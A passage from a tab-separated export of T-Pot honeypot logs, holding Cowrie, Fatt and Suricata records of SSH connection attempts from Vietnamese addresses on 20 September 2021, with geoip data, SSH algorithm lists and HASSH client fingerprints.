"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22394	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:57.327965+03	2021-09-20 14:15:05.007612+03	{"_id": "0gbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51052, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.327965", "@timestamp": "2021-09-20T11:06:57.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22395	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:57.521771+03	2021-09-20 14:15:05.023614+03	{"_id": "1QbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54548, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.521771", "@timestamp": "2021-09-20T11:06:57.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22396	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:58.059818+03	2021-09-20 14:15:05.026613+03	{"_id": "AwbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1896083832810926, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35088, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.059818Z", "@timestamp": "2021-09-20T11:06:58.059Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22397	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:59.671187+03	2021-09-20 14:15:05.056615+03	{"_id": "ZwbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:45958 (192.168.176.2:22) [session: d44b4683dc06]", "session": "d44b4683dc06", "@version": "1", "protocol": "ssh", "src_port": 45958, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.671187Z", "@timestamp": "2021-09-20T11:06:59.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22398	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.304994+03	2021-09-20 14:15:05.071613+03	{"_id": "YAbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "97b9fa918811", "@version": "1", "timestamp": "2021-09-20T11:06:59.304994Z", "@timestamp": "2021-09-20T11:06:59.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22399	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:59.074306+03	2021-09-20 14:15:05.086622+03	{"_id": "eAbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59392, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.074306", "@timestamp": "2021-09-20T11:06:59.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22400	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.850815+03	2021-09-20 14:15:05.089613+03	{"_id": "ZAbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "866f50c91ccd", "@version": "1", "timestamp": "2021-09-20T11:06:59.850815Z", "@timestamp": "2021-09-20T11:06:59.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
